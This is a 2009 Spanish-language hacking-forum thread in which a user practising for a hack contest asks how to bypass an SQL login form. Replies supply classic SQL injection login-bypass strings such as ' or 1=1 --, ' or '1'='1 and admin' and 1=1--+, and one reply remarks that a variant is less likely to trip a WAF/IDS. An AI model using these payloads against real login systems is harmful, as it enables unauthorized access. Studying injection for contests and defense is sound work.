Problema al intentar inyeccion SQL

Iniciado por 50l3r, 3 Noviembre 2009, 14:53 PM

0 Miembros y 1 Visitante están viendo este tema.

50l3r


ERROR SQL: SELECT * FROM usuarios WHERE usuario=''order by 90'' AND clave=''order by 90''::SQL logic error or missing database


este codigo esta sacado de un hack contest, me estoy preparando para cuando llegue a mi localidad que es dentro de dos semanas y estoy practicando ya que deje un poco de la do el deface y me dedique a programar


veran, el reto consiste en superar un login sql, que digo yo, sera por inyeccion, y por lo que veo su estructura es esta

SELECT * FROM usuarios WHERE usuario='$_POST[usuario]' AND clave='$_POST[clave]'

el problema que tengo es que si inyecto codigo para intentar bypasear quedaria asi

SELECT * FROM usuarios WHERE usuario='soler or 1= 1' AND clave='soler or 1=1'

entonces los or quedarian dentro de las comillas, que podria hacer?

Kasi

Buenas, primero tienes que conseguir salir de las comillas, la manera mas sencilla es poniendo otra comilla antes de los datos, por ejemplo :

Si la SQL de login es esta :

SELECT * FROM usuarios WHERE usuario='$_POST[usuario]' AND clave='$_POST[clave]'

y de login pones soler y de pass 1234 quedaria :

SELECT * FROM usuarios WHERE usuario='soler' AND clave='1234'

pero si pones de login : ' or  1=1 -- podrias escapar la SQL quedando asi : SELECT * FROM usuarios WHERE usuario='' or 1=1 --' AND clave='1234'

Aunque la clave ya daria igual lo que pongas puesto que seria un comentario.

Donde los dos guiones son comentarios (al igual que las // en C o la ' en VB)

Esta es la manera mas simple de inyectar SQL, la mas conocida y por lo tanto la mas vigilada, pero bueno te sorprenderia saber que todavia existen sitios donde cuela xDD.

Un saludo

Darioxhcx

' or '1'='1 tmb funcaria no ? (en password no user)
tmb se podria . si no me fallan los calculos

user: asdas
pass: asdas' or '1'='1

creo que asi lo hice una ves :¬¬
b3rz3k o algo asi el nick :P
habia puesto una lista.. fijate si lo encontras x ahi
saludos

LightOS

Si la BD es MySQL, el -- no funciona, se tiene que usar -- -
entonces lo mas pratico seria
' or '
que queda asi:
SELECT * FROM usuarios WHERE usuario='' or '' AND clave='' or ''
Tambien es menos probable que lo detecte un WAF/IDS.

50l3r


WHK

Hola, prueba con un user válido porque si le das un user que no existe no le hará select a nada.

admin' and 1=1--+

o puedes obtener el primer id con

x' or like usuario '%' limit 1 --+

con eso invalidas la primera comparación "=" y le inyectas un like y por orden mysql obtendrá el primer resultado de arriba hacia abajo ya que le indicamos un limit 1 para que no haya problemas al mostrar los datos en pantalla o si no te dirá error y terminas con un comentario para invalidar el resto de la query.

50l3r

whk, la sentencia que me devuelve es esta:

ERROR SQL: SELECT * FROM usuarios WHERE usuario='x' or like usuario '%' limit 1 --+' AND clave='sax'::SQL logic error or missing database

lo testee con el sql inyect mee de security compas y dice que el formulario no contiene inyeccion sql mmm, de que otra forma se puede pasar un formulario sql si no es con inyeccion?

madre mia tiene que ser facilisimo  :(

AlbertoBSD

Cita de: 50l3r en  4 Noviembre 2009, 22:48 PM
AND clave='sax'

De donde sale este dato, tu lo injectastes o que onda
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

50l3r


braulio--